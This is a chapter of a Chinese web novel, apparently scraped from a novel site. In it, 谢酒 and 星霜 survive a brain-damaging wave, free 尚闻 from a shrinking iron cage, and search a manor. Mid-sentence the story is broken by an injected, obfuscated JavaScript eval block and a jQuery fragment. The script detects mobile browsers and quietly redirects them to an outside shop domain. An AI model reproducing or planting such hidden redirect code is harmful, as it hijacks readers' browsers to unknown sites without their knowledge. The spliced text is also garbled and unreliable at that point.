星霜步履蹒跚,踉跄着走到屏幕前,在上面摸索按钮机关。
“是震荡波。”
“一种肉眼不可见的波形,可以直接作用于人的大脑,让人产生剧烈疼痛,甚至昏迷。”
谢酒揉着太阳穴,心里十分震惊。
这他妈和监狱长在牢房里的遭遇怎么这么像?!
废禹和贺仆是亲戚吗?!
连用刑手段都能借的?
谢酒脑袋已经痛的顾不上吐槽:“星霜,这玩意怎么解除?”
星霜神态冷静,身姿站得笔直,除了脸色有点白之外,看不出什么异样。
他胳膊在屏幕上一寸一寸扫过去:“我在想办法。”
谢酒揉着太阳穴:“快点,你弟弟我快嗝屁了。”
突然,嘎达一声。
墙上的大屏幕闪了闪,所有监控画面全部消失,只在中间噼里啪啦出现了一堆看不懂的程序代码。
中间有个大大的红色“ERROR!!”
滴——滴——滴——屏幕发出刺耳的警报。
一瞬间,那股冲击大脑的震荡波更强了。
谢酒只觉得眼前一阵模糊,隐隐听到星霜喊:“有没有人会解除病毒程序?”
他还没答话,就看到一旁诸子瑜扶着墙,踉踉跄跄往屏幕上走,走两步、摔一下。
谢酒从背包里取出最后五滴定神露,拉住诸子瑜,一股脑儿塞进他嘴里。
诸子瑜没弄明白自己吃了什么,只是顺着谢酒的手势张开了嘴,吞了下去。
肉眼可见的,他的眼神清明起来。
谢酒喘着气:“快点。就这点好东西了。你要不抓紧,一起完蛋了。”
诸子瑜拍了拍他背,转身看向屏幕:“放心。这种程度的病毒,小意思。”
星霜让开位置,诸子瑜站在屏幕上,两只手同时翻飞起来。
噼里啪啦,一时竟有了舞蹈的美感。
果然,金融IT精英男的称号不是吹的。不过几分钟,谢酒就觉得脑袋“轰”得沉了一下,那种直接打在脑干上的巨大压力一下消失得无影无踪。
他抬起头,晃了晃脖子,除了有点昏沉外,整个人没有什么损伤。
再看其他人,宰默他们一个个都好转起来。
至于星霜,是看不出什么的。毕竟之前有震荡波时,他看起来也没什么反应。
不过,星霜抿了抿唇,千年不变的冰霜脸露出一丝裂痕,突然说道:“不好意思,是我大意了。”
谢酒眉毛一抬。这人在认错?
这样的机会可不多见。
不顺杆子爬,就不是他谢酒了。
他慢慢走向星霜,两条长腿故意甩了甩,还配上一脸被牵连的“愠怒”:“说声不好意思,就这么算了?”
这话说得浪荡,表情也和上门收保护费的流氓差不了多少。
星霜反而收起之间那一点歉疚,恢复了冰霜脸:“嗯,就这么算了。”
这回答说的谢酒一愣,随后就听到身后尚闻没压住的吃吃笑声。
他干脆不装了,抓住星霜胳膊:“不行,你得赔偿我。”
星霜瞥他一眼,“呵”了声:“你要怎么赔偿?”
谢酒想了想:“嗯......还没想好。要不这样,你就待在我身边,等我什么时候想到,再什么时候跟你要。”
星霜用看白痴的眼神看他一眼,一言不发,转身就走了。
谢酒还在原地认真想,到底要星霜赔他个什么好。两秒后才发现人跑了,连宰默他们都已经跟了上去,只有诸子瑜站在他面前,用一种同情的眼神看着他。
他咳嗽两声,掩饰了下尴尬:“走啊,找东西去。”
一行人穿过这个空旷的客厅,上到二楼,四处翻找了下。
这里的布置都及其简单,楼上好几个房间都是空的,什么都没有。
很快翻找过所有房间,他们最后来到卧室。
卧室同样是极简装扮,只有一张床、和一个衣柜。
一群人刚走进去,就听到刺耳的“滴——滴——”警报。
大家都捂着耳朵,寻找警报声的来源。
突然间,一个三米见方的黑色铁栅栏轰一下从天而降。
电光火石之间,所有人猛地朝外面一扑,躲过机关。
铁栅栏“砰”一下砸在地面,罩住了唯一一个受害者——尚闻。
尚闻转了一圈,认命地抓住栅栏:“没想到,出了黑匣,还要被这种铁笼子关。”
“老大,怎么办啊?”
谢酒还没说话,就听星霜说:“我会想办法救你出来。”
尚闻也一愣,眼神从谢酒身上,挪到星霜身上。
大家反应过来,在这个庄园副本里,真正的老大,不是谢酒,而是星霜才对。
所以,刚刚那声称呼,是星霜误会了。
谢酒赶紧接上:“那就麻烦老大想想办法了。”
尚闻闭上了想要说话的嘴。
这误会,不澄清也罢。
老大要哄对象,他可不敢闹幺蛾子。
星霜走到床头,拉开床头柜,现出里面一排开关来。
他仔细看了看,没有轻易下手。
就在这时,诸子瑜突然“嗯?”了声,他走进铁栅栏,上下看了看:“你们来看看,这个铁笼子好像......缩小了点?”
缩小?
这问题有点严重。
他们一起来到铁栅栏前。
众目睽睽之下,铁栅栏肉眼可见地缩小了些,没几分钟,已经矮了近半米的高度。
照这个速度,不超过五分钟,尚闻就站不直了。
再往下,就更无法想象了。
如果一直不能终止这个机关,尚闻最后的结局就是一滩被挤扁的肉泥。
谢酒转头,星霜正专注得看着那一排密密麻麻的开关。
他走上前:“有什么头绪吗?”
星霜一只手轻轻按在开关上:“这些开关上的图案,是有规律的。”
“否则,全部一模一样,老头儿自己都搞不清楚哪个是哪个。”
“只不过,我现在不确定不同的图案分别代表什么意思。”
谢酒看向开关,每个开关上都有字母、图标,若不是设计者,根本弄不清楚是什么意思。
星霜手指划过一排开关,点在左右两个相邻的开关上。
“字母X,代表他所在的这栋别墅;数字2,代表第二层;字母B,代表卧室......”
“还有最后一个字母......这两个开关,前面三个都一样,只有最后一个,分别是O和M。”
“我不确定这两个字母代表的含义,哪一个才是解除牢笼的正确开关。”
说话功夫,牢笼又低了一截。
尚闻已经在牢里喊起来:“老大、老大,快救救我啊!”
谢酒皱眉看着那两个开关:“选M。”
星霜一愣:“你确定?”
谢酒摇头:“猜的。”
星霜皱眉:“如果猜错了,你的朋友可能立即会被压扁。”
谢酒褪下手中赤珏,上面鲜红的珠子一颗颗悬浮在半空。
只余下一根穿着红珠的黑线。
谢酒手一甩,黑线穿过铁栅栏,转了几圈,把牢笼的上半部分紧紧捆住,飞回他手中。
他手里用力拽住这根牢固无比的线:“赌一赌,按吧。就算错了,我能扛得住。”
如果星霜按错,他就要凭手中这根线,去抗一抗机关的威力了。
星霜没有拖泥带水:“准备。”
说完,立即按下了“M”按钮。
铮——
整个牢笼颤抖了下,猛得往下一缩!
谢酒立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014745|138341||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
即知道错了,他手使劲一勒,用尽全力拽住黑线。
牢笼快速扁了下去。
可它上半部被紧紧拽着,并没有在一瞬间就压缩到最小。
谢酒大喊一声,手掌心的鲜血立即渗了出来。
黑线很细,而牢笼下坠的力量极大,这一拉一扯间,黑线深深嵌入手掌间的肌肤,割裂得极深。鲜血呈流线型滴落,很快在地上积攒起一小滩。
另一边,星霜飞快按下了“O”按钮。
轰——
牢笼下坠的趋势停止了。
但谢酒紧紧拽着的手还没松开。
他得预防牢笼仍会下坠的可能。
黑线深嵌在手掌,越来越多的鲜血持续往下滴落......
咔哒。
牢笼的铁栅栏突然朝左右两边裂开,朝地面缩下去。
安全了。
谢酒手腕一转,把所有黑线收回。
不过几秒,地面恢复了原状,牢笼完全消失,什么痕迹都看不出来了。
尚闻飞快跑到谢酒身旁,抬起他血肉模糊的手,带着哭腔喊:“老大!”
他点出控制面板,取出一大堆东西,给谢酒治伤。
谢酒看着掌心包得越来越厚,无奈地说:“差不多了吧?再下去我变成多啦A梦了,就一个圆坨坨,一根手指都没。”
“连枪都拿不了了。”
尚闻抹了抹眼睛,低着头:“那铁笼子的力量再大那么一丁点儿,你这手掌就要被切断了。”
“何止没有手指,齐根切断,手掌都没了。你以后就是个残疾人了。”
谢酒笑笑,用左手摸摸他头:“这不是没切断嘛。多大人了,还哭鼻子。快收了你的神通吧。”
尚闻一直坚持到把他的手掌包成了一个圆,才把所有纱布收起。
“你这手,出副本之前都不要用了。就算我帮你连上了神经血管,也且得养着呢。”
说完,想了想,又取出一贯补血剂,强行给谢酒灌了下去。
谢酒被灌得呛了几下,把圆圆的手掌举起投降道:“好、好,一切听医生的。”
解决完牢笼的事,谢酒站起来,看向星霜。
突然发现他的脸色有点过于惨白了。
这是......
他挑了挑眉,走过去,流氓似的用手指摸了摸他下巴:“宝贝儿,担心我了吗?”
星霜一把抓住他完好的那只手:“赶紧找东西。”
说完把他手扔下,转过身去翻床上的被子、枕头。
话说的冷,动作也不温柔,但耳朵还是无可避免的红起来。
谢酒盯着他耳朵看得高兴,摩挲了下手指上的温度,重新体会了下刚刚被抓着的感受:“好。”
这人其实很温柔,就算刚刚被惹恼了,也很好哄。
他转身看着几个看热闹的人,“啧”一声:“不想出副本了?都抓紧找。”
几人在屋内找起来。
床上、床底、唯一的家具衣柜,以及卫生间,都一一找过。
找了半天,仍然什么都没有。
谢酒有点担心地看一眼星霜,对方的表情越来越冷,很显然,在庄园四处找了这么久,几乎找遍了所有地方,还是找不到他想要的东西,让他心情十分不快。
谢酒其实想问,那张图纸上的椭圆形光球到底是什么东西?
到底是不是地球上的科技?
星霜拿它又有什么用?
但鉴于他之前错误地问了废禹的问题,导致两人关系倒退后,他不敢再轻易问出口了。
直到五分钟后,谢酒听到星霜冰冷的声音:“这里还是没有。走吧。”
谢酒一步跨到他面前:“你是不是找过所有地方了?”
星霜微低着头看他:“还剩最后一个,这里的地下室。”
谢酒点头:“好。走。”